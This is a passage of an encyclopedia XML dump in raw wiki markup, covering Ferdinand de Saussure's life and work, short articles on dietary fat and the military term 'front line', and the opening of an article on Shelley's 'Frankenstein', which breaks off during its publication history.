
===Life and Work:===
Relatively little is known about Saussure's life apart from his academic pursuits. Born in Geneva to a family known for its scholastic achievement, Saussure's interest and ability in linguistics was recognized early. His first professional essay was written at fourteen, a response to the works of the paleontologist Pictet, a family friend . Before starting his graduate work at the University of [[Leipzig]] in 1876 (at nineteen), Saussure had taught himself [[Sanskrit]], attended a year of courses at the University of Geneva, submitted various articles for publication and joined the Société de linguistique de Paris. This would suggest he was a well-prepared and largely self-taught teen prodigy by the time he arrived at Leipzig.

The German academic community was undergoing violent disagreements about language at this time; the advent of the [[Comparative Method]] in the late nineteenth century made it possible to reconstruct the history of certain parent languages and scholars were reexamining all elements of their field. However, it did not succeed in establishing the next wave of linguistics which Saussure would dominate because it did not pursue the nature of its object of study, that nature is to be found in more than the elemental words of which a language consists; it speaks to the formal relations between those components. The [[Neogrammarians]], who led the emergent school of linguistic thought at Leipzig, embraced the Comparative Method. While Saussure would work under them as a student, he would evetually break with their teachings.

In 1878 Saussure spent a year studying at [[Berlin]]. At twenty-one he wrote four articles plus a 300-page monograph: ''Mémoire sur le système primitif des voyelles dans les langues indo-européenes''. This would be the only full-length book published by him in his lifetime. The Mémoire was revolutionary and considered ingenious by many, although some of his mentors and peers at Leipzig were highly dismissive of its individuality. It did, however, establish his reputation and provide the foundation of his work on the ''Cours de linguistique générale''. After the Mémoire, Saussure returned to Leipzig to finish his dissertation, which was submitted in 1880; he received his doctorate and the thesis was published in 1881.

In 1880 he moved to [[Paris]] and became a senior lecturer at l'Ecole Pratique des Hautes Etudes. There he taught Gothic and [[Old High German]], Sanskrit, [[Latin]], [[Persian language|Farsi]] and [[Lithuanian language|Lithuanian]]. When he arrived in Paris, the graduate education system was transforming at a magnificent rate. There was much enthusiasm – especially in language and linguistics. Two strands of linguistics vied for prominence: that anchored at the [[Sorbonne]], which published in Revue de linguistique et philologie comparée, and that led by Michel Brèal, which published in Société de linguistique de Paris. Saussure followed Brèal's group.

French psychologists and sociologists were also making great strides in the study of the workings of the mind and the nature of consciousness and unconsciousness, which held great potential for linguistic scientists. Saussure studied the work of [[Broca]], [[Wernicke]], [[Bergson]], [[Jung]], [[Weber]], and [[Durkheim]] with interest, and applied it to his own. 

However, over the years, Saussure became ever more obsessed with the idea of plagiarism, for fear of inadvertently incorporating the theories of one of his colleagues into his own research.  He thereafter increasingly isolated himself. In reviewing the work being done in linguistics at this time, we find that many of the concepts that would appear in Saussure's Cours were already in development by other scholars, but not to the same degree or in the same manner.  What was original about his concepts was his approach, his use of terminology and his incorporation of sociology, anthropology and philosophy.

Saussure returned to Geneva in 1891 and became a professor at the University. He was to teach there for the rest of his life. He began by giving courses in Sanskrit and Indo-European languages as well as historical and comparative linguistics. Only after a colleague died in 1906 did he add general linguistics; this would lead to the development of his famous three courses. As his curiosity and the complexity of his research increased, his published output decreased. In the last fifteen years of his life he produced only three papers. After 1906 the majority of his academic energy went into his series, ''Cours de linguistique générale''. He approached these courses from three directions, without using any course notes.

Saussure's systematic reexamination of language is based on four assumptions:
&lt;br&gt;
# The scientific study of language needs to develop and study the system rather than the history of linguistic phenomena.
# the basic elements of language can only be studied in relation to their functions rather than in relation to their causes.
# the relationship between the signifier and the signified in language is arbitrary.
# language is primarily a &quot;social activity&quot; (in some ways this is the most radical and yet least developed element of his system); language is socialized at every level, from the production of [[phonemes]] to the interpretation of complex meaning.

In many ways, the dualities of the first three assumptions are all reconfigured and resolved socially. They led Saussure to call for a new science that would go beyond linguistic science and study the life of signs within society. He would identify this as semiology, which is now interchangeably identified with semiotics' (from Dr. Klage's lecture on &quot;Structuralism and Saussure&quot;).

Unbenownst to most of his colleagues, in the last seven years of his life Saussure began a new strain of research dealing with the anagrammatical properties of certain classical Latin and Indo-European poems. He mentioned his pursuit in only a few personal letters, and it wasn't until fifty years after his death that eight boxes of notebooks and sketches were discovered and analyzed. Saussure had become fascinated with the idea that, in a verse-form known as [[Saturnian (poetry)]] (with  forebears reaching back through Homer to ancient Sanskrit), poets encoded a name – often that of a god or patron – into the words of a poem. He had serious questions about his research, and was unsure of his findings – the anagrams were sometimes misleading and even yielded incorrect names. More importantly, he realized his new work would undermine some of the basic tenets of his Cours; giving special status to poetic language over &quot;normal&quot; language.

Nevertheless, critics like [[Julia Kristeva]] and [[Jacques Derrida]] embraced this newfound work and incorporated it into their own approaches. As Kristeva proclaimed: &quot;We accept the principles set out by Ferdinand de Saussure in his &quot;Anagrams,&quot;
# Poetic language adds a second, contrived, dimension to the original word
# There is a correspondence between elements, in both metre and rime
# Binary poetic laws transgress the rules of grammar
# The element of the key word (or even letter) 'may be spread over the whole length of the text or may be concentrated in a small space, such as one or two words.' (''Cambridge Companion to Saussure'', 184)

In the end, Saussure abandoned his anagrams, perhaps because he had set too stringent a system of rules for himself which would not allow for such a leap of imagination.

===The Course of General Linguistics (Cours de linguistique générale):===
Saussure died in February, 1913. Within a month colleagues and former students realized what might be the greatest tragedy of his passing: that the genius of his Cours de linguistique générale remained solely in the memories and notebooks of the students fortunate enough to have enrolled in one of his three courses. Immediately a plan was formulated by Charles Bally and Albert Sechehaye to recreate the Cours from the notes and memories of those students, along with a strong amount of editing. Albert Riedlinger's meticulous notes formed the basis of the manuscript and he provided editorial support.

There was, and has continued to be, much controversy over the &quot;real&quot; Saussure and the &quot;interpreted&quot; Saussure through his students' notes and editorial manipulation. Considering that the editors chose to write the manuscript in the first-person (which certainly would not have been inherent in student notes), it at least begs the question of authorial authenticity. Regardless, it has been called one of the great achievements of Western intellect, contemplating the issue that language can be analyzed as a formal system of organized difference, apart from the dialectics of real-time production and comprehension.

It is important to recall that structuralist analysis concerns itself with the units (&quot;phonemes&quot;) and rules of the system, rather than its specific content. In terms of language, these units are words and rules are the grammar which make order of the words.

The Cours is broken down into a series of sections:&lt;br&gt;
1) Section I: The Nature of the Linguistic Sign.&lt;br&gt;
- which identifies the terms &quot;concept,&quot;  &quot;sound image,&quot; &quot;sign&quot; (the union of concept and sound image), &quot;signifier&quot; (sound), &quot;signified&quot; (thought), &quot;structure&quot; (system of language),  &quot;arbitrary&quot; (the idea that a community must agree on the meaning of a gesture - that it is not intrinsic), &quot;synchronic&quot; (an analysis of language as a system at the present moment rather than in the past or future), and &quot;linear&quot; (elements in the system have one degree of combinatorial freedom). While certain of the ideas in this section preexisted the Cours, the establishment of the &quot;arbitrary&quot; truly made it groundbreaking and paved the way for structuralism.&lt;p&gt;
2) Section II: Linguistic Value.&lt;br&gt;
- which raises the connection between ideas and language, and the inseparable link between thought and sound. The terms &quot;langue&quot; (system of language), &quot;parole&quot; (individual unit within langue), &quot;value&quot; (the system-internal compositional meaning of recurring bits of linguistic form), &quot;signification&quot; (meaning), and &quot;difference&quot; (relation that creates value) are developed here. Within this section also lies the portion which deals with  Synagmatic and Associative Relations, the basis for the social foundations of the course and the analysis of groups and discourse.&lt;p&gt;

'A Selection of Basic Points from the Cours:
* the sound-image is nothing more than the sum of a limited number of elements or phonemes 
* language is a storehouse of sound-images.
* the sound-image is sensory - &quot;material&quot; - and can be opposed  to the more abstract term, the concept.
* language is a system of signs that express ideas, and is therefore comparable to a system of writing.
* a linguistic sign is a two-sided psychological entity made up of a concept and a sound-image that are intimately united, each recalling the other. This combination of concept and sound-image is also identified as signified and signifier.
* ''the linguistic sign is arbitrary'' - in the sense that there is no natural connection between the signifier and the signified.
* the sign is not only arbitrary but linear.
* it is impossible to conceive of ideas without language - language must preexist the idea - language becomes the sign of the idea.
* imagine thought as the front and back of a piece of paper, or two sides of a coin; irrevocably connected. So with language, sound and thought cannot be divided.
* signs used in writing are arbitrary.
(from ''The Norton Anthology of Theory and Criticism'', 961-76)
&lt;p&gt;

===Legacy:===
The impact of Saussure's work spread far beyond linguistics to have a profound effect on the humanities and social sciences. His work provided the foundation for structuralism and poststructuralism and was enmeshed in developments in literarary studies, history, anthropology and psychoanalysis. Among the notable theorists who recognized his influence on their work: [[Roman Jakobson]], [[Claude Lévi-Strauss]], Jacques Derrida, [[Louis Althusser]], [[Roland Barthes]], [[Jacques Lacan]], Julia Kristeva, [[Umberto Eco]], [[A.J. Greimas]], [[Louis Hjelmslev]], [[Emile Benveniste]] and [[Vladimir Propp]].
&lt;p&gt;
Ironically, some of these scholars incorporated Saussure's theories into their work through the interpretation of others. Lévi-Strauss offers an example, reading Jakobson's essays on Saussure and applying them to his own long before he ever read the Cours. Barthes, also, undertook a long study of Saussure by reading the analyses of Jakobson, Greimas, Levi-Strauss, Hjelmslev, Benveniste, and Propp.
&lt;p&gt;
Publication and translation of the Cours occurred in unusual patterns around the world. While access in French language and other European editions was fast to spread across Europe and Russia prior to World War II, the work was not translated into English for almost forty years. However, it founds American linguistics through the lineage of [[Leonard Bloomfield]].
&lt;p&gt;
One can trace three distinct early twentieth-century schools of linguistic thought:
* The western European or French school, guided by Saussure's teachings,
* The eastern European/Russian or [[Formalist]] school, centered in the Prague Linguistic Circle, led by Roman Jakobson and heavily influenced by the works of Saussure,
* The North American school, led by [[Leonard Bloomfield]], who synthesized and systematized Saussure's insights, introducing his own modifications and discoveries. The Neo-Bloomfieldian's (including Chomsky's teacher, [[Zellig Harris]]) subsequently formalized Saussure's theory, reducing its scope and the social nature of its explanations, paving the way for the autonomous syntactic formalism of [[Noam Chomsky]], who began discussing Saussure in remarks made at the 1962 International Congress of Linguists and in papers thereafter. While Chomsky did not fully agree with many of Saussure's theories, he did find certain commonalities between his own concepts and those of the Swiss linguist.  
&lt;p&gt;
Russian Formalism (starting in 1916) was borne out of an intense interest in language. Roman Jakobson was integral to its development.  Jakobson recognized the value of Saussure's theories to Russian language because of the application of Marxism and the worth accorded to literature in Russian society as a means of moral and social criticism. During World War II, Jakobson emigrated to the U.S. and brought his passion for Saussure with him. He founded the New York Circle and a new Journal (&quot;Word&quot;) and presented a series of lectures and articles on the Cours. He also began to encourage North American comprehension and acceptance of Saussure that would finally take root in the 50's and 60's as a more open climate between the North American and European academic communities was actualized.
&lt;p&gt;
Meanwhile, in France, as experiments with applications of Saussure's theories to more branches of the social and human sciences and philosophy were tested, there were misunderstandings over the relationship between his teachings and the development of structuralism. The question of who really could be identified as the rightful &quot;father&quot; of the system was argued, and elements of the originality of Saussure's Cours were challenged. When Lacan attempted to reconfigure Saussure's signifier/signified algorithm for psychoanalitic purposes, it was dismissed by many as being too focused on the study of psychosis and the unconscious to provide real linguistic value. Had Saussure's work been overdetermined by too many theorists who were too eager to test its boundaries, only to discover that the system in fact had limits - that the model could not be applied infinitely? 
&lt;p&gt;
While the early mania for Saussure has cooled somewhat, and the contributions of other scientists to twentieth-century linguistics are now rightfully recognized, it is important that we also acknowledge Saussure for his incredible achievements. He always said he would never publish any reflections on the 'essence' of linguistics, and yet we look to his Cours as his life's work – in a sense, a sign for him. If anything, Saussure had only identified the foundations of his work, and the Cours might have been viewed as one facet of that, rather than its whole.   The key may lie in his famous challenge for scientists to pursue a new discipline: &quot;By studying rites, customs, etc. as signs, I believe that we shall throw new light on the facts and point up the need for including them in a science of semiology and explaining them by its laws.&quot; (''Norton Anthology of Theory and Criticism'', 962)
&lt;p&gt;
===Works===
&lt;p&gt;
*(1878). Essai d'une distinction des différents a indo-européens. ''Memoires de la Société de linguistique'', 3:359-70.	

*(1879). ''Mémoire sur le système primitif des voyelles dans les langues indo-européennes''. Leipzig: Teubner.

*(1908). ''Mélanges de linguistique offerts à M. Ferdinand de Saussure'' (no eds.). Paris: Champion.

*(1909). ''Interview with A. Riedlinger'', [[19 January]] [[1909]]. In Godel, 1957/1969a.

*(1916). ''Cours de linguistique générale'' (published by C. Bally and A. Sechehaye in collaboration with A. Riedlinger). Lausanne and Paris: Payot. (CLG)

*(1922). ''Recueil des publications scientifiques''. Geneva: Editions Sonor.
Godel, R. (1957). ''Les sources manuscrites du Cours de linguistique générale de F. de 
Saussure'' (Société de publications romanes et françaises, 61). Geneva: Droz; Paris: 
Minard.

*(1957). Cours de linguistique générale Cours II 1908-1909: introduction (d'aprés des notes 
d'etudiants) (ed. R. Godel). ''Cahiers Ferdinand de Saussure'', 15: 3-103.
Godel, R. (1958/9). Nouveaux documents saussuriens: les cahiers E. Constantin. ''Cahiers 
Ferdinand de Saussure'', 16: 23, 32.

*(1959). ''Course in General Linguistics'' (trans. W. Baskin). New York: Philosophical 
Library. (CGL-B)

*(1960). Souvenirs de F. de Saussure concernant sa jeunesse et ses études (ed. R. Godel). 
''Cahiers Ferdinand de Saussure'', 17: 12-26.
Benveniste, E. (1964). Lettre de Ferdinand de Saussure a Antoine Meillet. Cahiers 
Ferdinand de Saussure, 21:91-130.

*(1964/5). Notes et documents sur Ferdinand de Saussure (1880-1891) (présentées par
Michel Fleury). Annuaire de l'Ecole pratique des Hautes Etudes, Paris, 35-67.

*(1968). ''Cours de linguistique générale'' (critical edition by R. Engler, vol. 1). Wiesbaden: 
Harrassowitz. (CLG/E 2)
*(1972 [1916]).  ''Cours de linguistique génrale (ed. T. de Mauro). Paris: Payot. (CLG/D)

*(1974). ''Cours de linguistique générale'' (Notes personnelles) (critical edition by R. Engler, 
vol. 2). Wiesbaden: Harrassowitz. (CLG/E 2)

*(1974 [1959]). ''Course in General Linguistics'' (trans. W. Baskin, with an introduction by 
J. Culler). London: Peter Own. (CGL-B)

*(1978). Essai pour réduire les mots du grec, du latin et de l'allemand à un petit nombre de 
racines (ed. B. Davies). ''Cahiers Ferdinand de Saussure'', 32: 73-101.

*(1979). ''Saggio sul vocalisimo indoeuropeo'' (Italian edition, introd., trans. and ed. G.C. 
Vincenzi). Bologna: Libreria Universitaria Editrice.

*(1983). ''Course in General Linguistics'' (trans. and annotated by R. Harris). London: 
Duckworth. (CGL-H)

*(1993). ''Troisiéme Cours de linguistique générale / Third Course in General Linguistics (1910-1911), d'après les cahiers d'Emile Constantin'' (ed. and trans. E. Komatsu 
and R. Harris). Oxford: Pergamon.

*(1994). [Letter dated September 1912 to Bally]. ''Cahiers Ferdinand de Saussure'', 48: 132.

*(1996). ''Premier Cours de linguistique générale / First Course in General Linguistics 
(1907), d'après les cahiers d'Albert Riedlinger'' (ed. and trans. E. Komatsu and G. 
Wolf). Oxford: Pergamon.

*(1997). ''Deuxième Cours de linguistique générale / Second Course in General linguistics 
(1908-1909), d'après les cahiers d'Albert Riedlinger &amp; Charler Patois'' (ed. and trans. 
E. Komatsu and G. Wolf). Oxford: Pergamon.

*(2002). ''Ecrits de linguistiques générale'' (ed. S. Bouquet and R. Engler). Paris: Gallimard. 
(ELG)


==See also==
* [[Linguististics]]
* [[Structuralism]]
* [[Semiotics]]
* [[Formalism]]
* [[Roman Jakobson]]
* [[Claude Lévi-Strauss]]
* [[Roland Barthes]]
* [[Jacques Lacan]]
* [[Julia Kristéva]]
* [[Jacques Derrida]]
* [[Leonard Bloomfield]]
* [[Noam Chomsky]]
* [[Michael Silverstein]]

==External links==
*[http://www.marxists.org/reference/subject/philosophy/works/fr/saussure.htm Saussure's Third Course of Lectures on General Linguistics]
*[http://www.colorado.edu/English/ENGL2012Klages/saussure.html Dr. Mary Klages's lecture on Structuralism and Saussure]
*[http://www.scaruffi.com/phi/saussure.html Terms used in The Course on General Linguistics]
*[http://www.egwald.com/ubcstudent/theory/heidegger.php Hearing Heidegger and Saussure, by Elmer G. Wiens]

==Sources==
*''The Cambridge Companion to Saussure''. ed. Carol Sanders. Cambridge: Cambridge U P. 2004.

*Harris, Roy. ''Saussure and his Interpreterers''. 2nd ed. Edinburgh: Edinburgh U P. 2003.

*Klage, Mary. &quot;Structuralism and Saussure.&quot; Introduction to Literary Theory course. University of Colorado at Boulder. (c) 2001. &lt;http://www.colorado.edu/English/ENGL2012Klages/saussure.html&gt;([[February 7]] [[2006]]).

*The Norton Anthology of Theory and Criticism. ed. Vincent B. Leitch. New York: WW Norton &amp; Co. 2001. 956-77.

*Gabriel Rupp and Ronald Schleifer. &quot;Ferdinand de Saussure&quot;.''Johns Hopkins Online Guide to Literary Theory and Criticism''. ed. Michael Groden, Martin Kreiswirth, and Imre Szeman Baltimore: Johns Hopkins U P. (c)2005.([[February 1]] [[2006]]). 

[[Category:1857 births|Saussure, Ferdinand de]]
[[Category:1913 deaths|Saussure, Ferdinand de]]
[[Category:Linguists|Saussure, Ferdinand]]
[[Category:Swiss linguists|Saussure, Ferdinand]]
[[Category:Indo-Europeanists|Saussure, Ferdinand]]
[[Category:Structuralism|Saussure, Ferdinand]]
[[Category:Natives of Geneva|Saussure, Ferdinand]]

[[an:Ferdinand de Saussure]]
[[ast:Ferdinand de Saussure]]
[[bg:Фердинанд дьо Сосюр]]
[[ca:Ferdinand de Saussure]]
[[de:Ferdinand de Saussure]]
[[el:Φερντινάντ ντε Σωσσύρ]]
[[es:Ferdinand de Saussure]]
[[eo:Ferdinand de SAUSSURE]]
[[eu:Ferdinand Saussure]]
[[fa:فردینان دو سوسور]]
[[fr:Ferdinand de Saussure]]
[[gl:Ferdinand de Saussure]]
[[ko:페르디낭 드 소쉬르]]
[[io:Ferdinand de Saussure]]
[[it:Ferdinand de Saussure]]
[[he:פרדינן דה סוסיר]]
[[nl:Ferdinand de Saussure]]
[[ja:フェルディナン・ド・ソシュール]]
[[no:Ferdinand de Saussure]]
[[pl:Ferdinand de Saussure]]
[[pt:Ferdinand de Saussure]]
[[ro:Ferdinand de Saussure]]
[[ru:Соссюр, Фердинанд де]]
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[[sv:Ferdinand de Saussure]]
[[tr:Ferdinand de Saussure]]
[[zh:索緒爾]]</text>
    </revision>
  </page>
  <page>
    <title>Fat</title>
    <id>11042</id>
    <revision>
      <id>41993765</id>
      <timestamp>2006-03-03T02:30:44Z</timestamp>
      <contributor>
        <username>Johntex</username>
        <id>149583</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/60.240.173.1|60.240.173.1]] ([[User talk:60.240.173.1|talk]]) to last version by That Guy, From That Show!</comment>
      <text xml:space="preserve">{{dablink|This article is about lipid molecules. '''Fat''' may also refer to [[obesity]] or [[adipose tissue]]. '''[[FAT]]''' is an acronym.}}

{{cleanup-date|January 2006}}

'''Fat''' is one of the three main [[Food guide pyramid|classes of food]]. It has many meanings, and the only good description is in technical terms. There are triglycerides, fatty acids, sterols, but &quot;fat&quot; may also refer to adipose tissue.

The main constituents of both [[animal fat]] and [[vegetable oils]] are [[triglyceride]]s, that is [[glycerin]] molecules with three [[fatty acids]] attached. Nutritional fat is a mixture of many types of [[triglyceride]]s, which differ in the length of their [[fatty acid]] chains, as well as the number and position of single and double bonds between their carbon atoms. Fat molecules contain only oxygen, hydrogen, and carbon atoms.

[[Vitamin]]s [[Vitamin A|A]], [[Vitamin D|D]], [[Vitamin E|E]], and [[Vitamin K|K]] are fat-soluble meaning they can only be digested, absorbed, and transported in conjunction with fats. Fats are sources of [[essential fatty acid]]s, an important dietary requirement.

Fats play a vital role in maintaining healthy [[skin]] and [[hair]], insulating body organs against shock, maintaining body temperature, and promoting healthy cell function. They also serve as energy stores for the body. In [[food]], there are two types of fats: [[Saturated_fat|saturated]] and [[Unsaturated_fat|unsaturated]]. Saturated fat is a sort of a straight chain of carbon connected or bonded with 2 molecules of hydrogen. At the very beginning of this chain is a molecule of oxygen and a molecule of hydroxide. Unsaturated fat is the same thing with one major exception; some of those carbon atoms are not bonded with two hydrogen atoms so it becomes a very &quot;fluid&quot; state. Fats are broken down in the body to release [[Glycerin|glycerol]] and free [[fatty acid]]s.  The glycerol can be converted to [[glucose]] by the liver and thus used as a source of energy.  The fatty acids are a good source of energy for many tissues, especially heart and skeletal muscle.

==Energy==
With an nutritional energy density of approximately 37 [[Joule|kJ]] (9 [[kilocalorie]]s) per [[gram]], compared to [[sugar]] with 17 kJ/g (4 kcal/g) or [[ethanol]] with 29 kJ/g (7 kcal/g), it is the most concentrated form of metabolic [[energy]] available to humans.

==Adipose tissue==
{{main|Adipose tissue}}
[[Adipose tissue|Adipose]], or fatty, tissue is the human body's means of storing metabolic energy over extended periods of time. Depending on current [[physiological]] conditions, [[adipocytes]] store fat derived from the diet and liver [[metabolism]] or degrades stored fat to supply [[fatty acids]] and [[glycerol]] to the [[circulatory system|circulation]]. These metabolic activities are regulated by several hormones (i.e., [[insulin]], [[glucagon]] and [[epinephrine]]). The location of the tissue determines its metabolic profile: &quot;Visceral fat&quot; (around the abdomen) is prone to lead to [[insulin resistance]], while &quot;peripheral fat&quot; (around the limbs) is much more harmless.

==Metabolism==
{{main|Fatty acid metabolism}}

The [[metabolism]] of lipids is a closely regulated system in virtually all lifeforms. It is affected by a variety of [[enzyme]]s and, in higher organisms, regulated by [[hormone]]s. Research is ongoing on the relative influence of various hormonal regulators on the [[anabolism]] (production) and [[catabolism]] (breakdown, also termed ''lipolysis'') of fatty molecules.

A subject of particularly close study is [[cholesterol]], levels and types of which are influenced by the fatty acid metabolism and is known for its role in development of [[atherosclerosis]].

==See also==
{{cookbookpar|Oil and fat}}
* [[Carbohydrate]]
* [[Protein]]
* [[Lipid]]
* [[Brown fat]]
* [[adipocytes|White fat (adipocytes)]]
* [[Omega-3 fatty acid]]
* [[Cooking oil]]
* [[Yellow grease]]

==External links==
{{wiktionarypar|fat}}
* [http://www.scientificpsychic.com/fitness/fattyacids.html Chemical Structure of Fats and Fatty acids]

[[Category:Lipids]]
[[Category:Nutrition]]

[[ca:Greix]]
[[da:Fedtstof]]
[[de:Fett]]
[[es:Grasa]]
[[eo:Graso]]
[[fr:Graisse]]
[[it:Grasso]]
[[he:FAT]]
[[nl:Vet]]
[[ja:脂肪]]
[[pl:Tłuszcz (chemia)]]
[[pt:Gordura]]
[[su:Gajih]]
[[fi:Rasva]]
[[sv:Fett]]
[[ta:கொழுப்பு]]
[[th:ไขมัน]]
[[zh:脂肪]]

==References==
Rebecca J. Donatelle. Health, The Basics. 6th ed. San Francisco: Pearson Education, Inc. 2005.</text>
    </revision>
  </page>
  <page>
    <title>Front line</title>
    <id>11043</id>
    <revision>
      <id>40345061</id>
      <timestamp>2006-02-19T23:22:28Z</timestamp>
      <contributor>
        <ip>193.61.255.85</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses}}

A '''front line''' is a line of confrontation in an [[armed conflict]], most often a [[war]]. On either side of the front line stand the forces of the various [[combatant]]s. In modern [[warfare]], due to the broken nature of mechanized combat, front lines rarely form; instead a zone of confrontation comprises a wide band where forces engage in [[battle]].

[[World War I]] featured the most clearly defined front lines known to date: the front line in [[France]] became marked by dug [[trench]]es almost throughout.

The adjective ''front-line'' is also used to describe [[weapons]], [[ships]] or [[aircraft]] that are of the latest fighting standard, or [[army]] units intended to serve at the front line.

== See also ==
* [[FEBA]] (&quot;Forward Edge of Battle Area&quot;)
* [[FLOT]] (&quot;Forward Line of Own Troops&quot;)

==External Links==
*{{memoryalpha}}

[[Category:Ground warfare]]</text>
    </revision>
  </page>
  <page>
    <title>Frankenstein</title>
    <id>11044</id>
    <revision>
      <id>42058750</id>
      <timestamp>2006-03-03T14:49:40Z</timestamp>
      <contributor>
        <username>Mjpieters</username>
        <id>86312</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/62.253.219.131|62.253.219.131]] to last version by Mjpieters</comment>
      <text xml:space="preserve">:''For the monster itself, see [[Frankenstein's monster]].
[[Image:Frankenstein Cover.jpg|thumb|The cover of one of Barnes &amp; Noble Classics reprinted editions.]]
'''''Frankenstein; or, The Modern Prometheus''''' is a [[novel]] by [[Mary Wollstonecraft Shelley]]. First published in [[London]] in 1818 (but more often read in the revised third edition of 1831), it is a novel infused with some elements of the [[Gothic novel]] and the [[Romanticism|Romantic]] movement.  It was also a warning against the &quot;over-reaching&quot; of modern man and the [[Industrial Revolution]]. (The novel's subtitle, ''The Modern [[Prometheus]]'', alludes to the over-reaching and punishment of the character from [[Greek mythology]].) The story has had an influence across [[literature]] and [[popular culture]] and spawned a complete genre of [[horror fiction|horror]] stories and [[film]]s. Many distinguished authors, such as [[Brian Aldiss]], claim that it is the very first [[science fiction]] novel.

==Plot synopsis==
{{spoiler}}

:''&quot;It was on a dreary night of November, that I beheld the accomplishment of my toils. With an anxiety that almost amounted to agony, I collected the instruments of life around me, that I might infuse a spark of being into the lifeless thing that lay at my feet. It was already one in the morning; the rain pattered dismally against the panes, and my candle was nearly burnt out, when, by the glimmer of the half-extinguished light, I saw the dull yellow eye of the creature open; it breathed hard, and a convulsive motion agitated its limbs.&quot;''  

The novel opens with Captain Walton on a ship sailing north of the Arctic Circle. Walton's ship becomes ice-bound, and as he contemplates his isolation and paralysis, he spots a figure traveling across the ice on a dog sledge. This is [[Victor Frankenstein]]'s [[Frankenstein's Monster|creature]]. Soon after he sees the ill Victor Frankenstein himself, and invites him onto his boat. The narrative of Walton is a [[Frame Narrative|frame narrative]] that allows for the story of Victor to be related.  At the same time, Walton's predicament is symbolically appropriate for Victor's tale of displaced passion and brutalism.

Victor takes over telling the story here.  Curious and intelligent from a young age, he is self taught by masters of [[Medieval]] alchemy, reading such authors as [[Albertus Magnus]] and [[Paracelsus]], and shunning modern [[Age of Enlightenment|Enlightenment]] teachings of natural science (see also [[Middle Ages in history#Romantics|Romanticism and the Middle Ages]]). He leaves his beloved family in [[Geneva]], [[Switzerland]] to study in [[Ingolstadt]], [[Bavaria]], [[Germany]] where he is first introduced to modern science. In a moment of inspiration, combining his new found knowledge of natural science with that of the alchemy dreams of his old masters, Victor discovers the means by which inanimate matter can be imbued with life. With great drive and fervor, he sets about constructing a creature &amp;mdash; perhaps intended as a companion &amp;mdash; through means which Shelley refers to only ambiguously. Subsequent visual interpretations of the story have included the creation of Frankenstein's monster through alchemy, by the piecing together of corpses, or a combination of the two.  In the novel it is stated (chapter 4, volume 1) that he uses bones from charnel-houses where corpses were kept at the time.

He intends the creature to be beautiful, but when the creature awakens, Victor is disgusted. It has yellow, watery eyes, translucent skin, and is of an abominable size. Victor finds this revolting and although the creature expressed him no harm (in fact it grins at him and reaches his hands out innocently to his creator), Victor runs out of the room in terror whereupon the creature disappears. Overwork causes Victor to take ill for several months. After recovering, in about a year's time, he receives a letter from home informing him of the murder of his youngest brother William. He departs for Switzerland at once.

Near Geneva, Victor catches a glimpse of the creature in a thunderstorm among the rocky boulders of the mountains, and is convinced it killed William. Upon arriving home he finds Justine, the family's beloved maid, framed for the murder. Despite Victor's feelings of overwhelming guilt, he does not tell anyone about his horrid creation and Justine is convicted and executed. To recover from the ordeal, Victor goes hiking into the mountains where he encounters his &quot;cursed creation&quot; again, this time atop a [[glacier]].

The creature converses with Victor and tells him his story, speaking in strikingly eloquent language.  He describes his feelings first of confusion, then rejection and hate. He explains how he learned to talk by studying a poor peasant family through a crack in the wall. He performs in secret many kind deeds for this family, but in the end, they drive him away when they see his appearance. He gets the same response from any human who sees him. The creature confesses that it was indeed he who killed William and framed Justine, and that he did so out of [[revenge]]. But now, the creature only wants one thing; he begs Victor to create a female companion for him so that he may have companionship.

At first, Victor agrees, but later, he tears up the half-made companion in disgust and madness. In retribution, the creature kills Clerval, Victor's best friend. On Victor's  wedding night, the creature kills his wife. Victor now becomes the hunter: he pursues the creature into the Arctic ice, though in vain.  Near exhaustion, he is stranded when an iceberg breaks away, carrying him out into the ocean. At that moment, Captain Walton's ship arrives and he is rescued.

Walton assumes the narration again, describing a temporary recovery in Victor's health, allowing him to relate his extraordinary story.  However Victor's health soon fails, and he dies. Unable to convince his shipmates to continue north and bereft the charismatic Frankenstein, Walton is forced to turn back towards [[England]] under the threat of [[mutiny]]. Finally, the creature boards the ship and finds Victor dead, and greatly laments what he has done to his maker. He vows to commit [[suicide]]. He leaves the ship by leaping through the cabin window onto the ice, and is never seen again.

==Genesis==
:&quot;How I, then a young girl, came to think of, and to dilate upon, so very hideous an idea?&quot;
During the snowy summer of 1816, the &quot;[[Year Without A Summer]],&quot; the world was locked in a long cold [[volcanic winter]] caused by the eruption of [[Tambora]] in 1815. In this terrible year, the then Mary Wollstonecraft Godwin, age 19, and her husband-to-be [[Percy Bysshe Shelley]], visited [[George Gordon Byron, 6th Baron Byron|Lord Byron]] at the Villa Diodati by [[Lake Geneva]] in [[Switzerland]]. The weather was consistently too cold and dreary that summer to enjoy the outdoor vacation activities they had planned, so after reading ''[[Fantasmagoriana]]'', an anthology of German ghost stories, Byron challenged the Shelleys and his personal physician [[John William Polidori]] to each compose a story of their own, the contest being won by whoever wrote the scariest tale. Mary conceived an idea after she fell into a [[nightmare|waking dream]] or nightmare during which she saw &quot;the pale student of unhallowed arts kneeling beside the thing he had put together.&quot; This was the germ of ''Frankenstein''. Byron managed to write just a fragment based on the [[vampire]] legends he heard while travelling the [[Balkans]], and from this Polidori created ''[[The Vampyre]]'' (1819), the progenitor of the romantic vampire literary [[genre]]. Thus, the Frankenstein and vampire themes were created from that single circumstance.

==Publication==
Mary  Shelley completed her writing in May 1817, and ''Frankenstein, or The Modern Prometheus'' was first published on [[1 January]] [[1818]] by the small [[London]] [[publishing house]] of Lackington, Hughes, Harding, Mavor &amp; Jones. It was issued anonymously, with a preface written for Mary by [[Percy Bysshe Shelley]] and with a dedication to philosopher [[William Godwin]], her father. It was published in an edition of just 500 copies in three volumes, the standard &quot;triple-decker&quot; format for 19th century first editions. The novel had been previously rejected by Percy Bysshe Shelley's publisher Charles Ollier and by Byron's publisher [[John Murray (publisher)|John Murray]].

Critical reception of the book was mostly unfavourable, compounded by confused speculation as to the identity of the author, which was not well disguised. [[Walter Scott]] wrote that &quot;Upon the whole, the work impresses us with a high idea of the author's original genius and happy power of expression&quot;, but most reviewers thought it &quot;a tissue of horrible and disgusting absurdity&quot; (''Quarterly Review'').

